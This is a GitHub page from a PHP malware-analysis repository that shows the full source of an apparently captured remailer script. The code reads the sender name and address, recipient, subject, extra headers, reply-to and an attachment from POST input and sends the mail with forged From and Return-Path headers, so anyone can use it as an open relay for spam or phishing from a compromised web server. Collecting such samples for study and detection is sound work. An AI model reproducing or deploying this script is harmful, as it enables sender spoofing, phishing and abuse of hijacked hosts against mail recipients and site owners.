php-malware-analysis/remailers/5.8.54.6-2019-10-08a/5.8.54.6XZymjDdQFFS6X-T8Xw5ligAAAAE.0.file at master · bediger4000/php-malware-analysis · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
    /**
    */
    function EmailText($from, $to, $subj, $text, $replyto, $fname, $headers, $file, $filename)
    {
        $uniq   = strtoupper(uniqid(time()));
        $subj   = '=?UTF-8?B?'.base64_encode($subj).'?=';

        $head   = "From: =?utf-8?B?".base64_encode(trim($fname))."?= <".trim($from).">\n";
        $head   .= "Subject: ".$subj."\n";
        $head   .= "Reply-To: ".$replyto."\n";
        $head   .= "Return-Path: ".$replyto."\n";

        //$head   .= "X-Mailer: PHP/" . phpversion()."\n";

        foreach ($headers as $header)
        {
            $head .= $header."\n";
        }
        $head     .= "Mime-Version: 1.0\n";
        $head     .= "Content-Type:multipart/mixed;";
        $head     .= "boundary=\"----------".$uniq."\"\n\n";

        $body   = "------------".$uniq."\nContent-Type: text/plain; charset=utf-8\n";
        $body   .= "Content-Transfer-Encoding: 8bit\n\n".$text."\n\n";

        $file = trim($file);
        if (strlen($file) > 0)
        {
            $body   .= "------------".$uniq."\n";
            $body   .= "Content-Type: application/octet-stream;";
            $body   .= "name=\"".$filename."\"\n";
            $body   .= "Content-Transfer-Encoding: base64\n";
            $body   .= "Content-Disposition: attachment;";
            $body   .= "filename=\"".$filename."\"\n\n";
            $body   .= chunk_split(base64_encode($file))."\n";
            $body   .= "------------".$uniq."\n";
        }
        return mail("$to", "$subj", $body, $head);
    }

    /**
    */
    function EmailHtml($from, $to, $subj, $text, $replyto, $fname, $headers, $file, $filename)
    {
        $uniq   = strtoupper(uniqid(time()));
        $subj   = '=?UTF-8?B?'.base64_encode($subj).'?=';

        $head   = "From: =?utf-8?B?".base64_encode(trim($fname))."?= <".trim($from).">\n";
        $head   .= "Subject: ".$subj."\n";
        $head   .= "Reply-To: ".$replyto."\n";
        $head   .= "Return-Path: ".$replyto."\n";

        foreach ($headers as $header)
        {
            $head .= $header."\n";
        }
        $head     .= "Mime-Version: 1.0\n";

        $head     .= "Content-Type:multipart/mixed;";
        $head     .= "boundary=\"----------".$uniq."\"\n\n";
        $body   = "------------".$uniq."\nContent-Type: text/html; charset=utf-8;\n";
        $body   .= "Content-Transfer-Encoding: 8bit\n\n".mb_convert_encoding($text, "HTML-ENTITIES", "UTF-8")."\n\n";

        $file = trim($file);
        if (strlen($file) > 0)
        {
            $body   .= "------------".$uniq."\n";
            $body   .= "Content-Type: application/octet-stream;";
            $body   .= "name=\"".$filename."\"\n";
            $body   .= "Content-Transfer-Encoding: base64\n";
            $body   .= "Content-Disposition: attachment;";
            $body   .= "filename=\"".$filename."\"\n\n";
            $body   .= chunk_split(base64_encode($file))."\n";
            $body   .= "------------".$uniq."\n";
        }
        return mail("$to", "$subj", $body, $head);
    }

    @$filename  = trim($_POST['filename']);
    @$file      = trim($_POST['file']);
    @$email     = trim($_POST['email']);
    @$type      = trim($_POST['type']);
    @$subj      = trim($_POST['subj']);
    @$fname     = trim($_POST['fname']);
    @$replyto   = trim($_POST['replyto']);
    @$from      = trim($_POST['from']);
    @$text      = trim($_POST['text']);
    @$headers   = json_decode(trim($_POST['headers']));

    if (preg_match("~txt~is", $type))
    {
        $text = strip_tags($text);
        $ok = EmailText($from, $email, $subj, $text, $replyto, $fname, $headers, $file, $filename);
        print $ok ? 'OK' : 'FAIL';
    }

    if (preg_match("~html~is", $type))
    {
        $ok = EmailHtml($from, $email, $subj, $text, $replyto, $fname, $headers, $file, $filename);
        print $ok ? 'OK' : 'FAIL';
    }
?>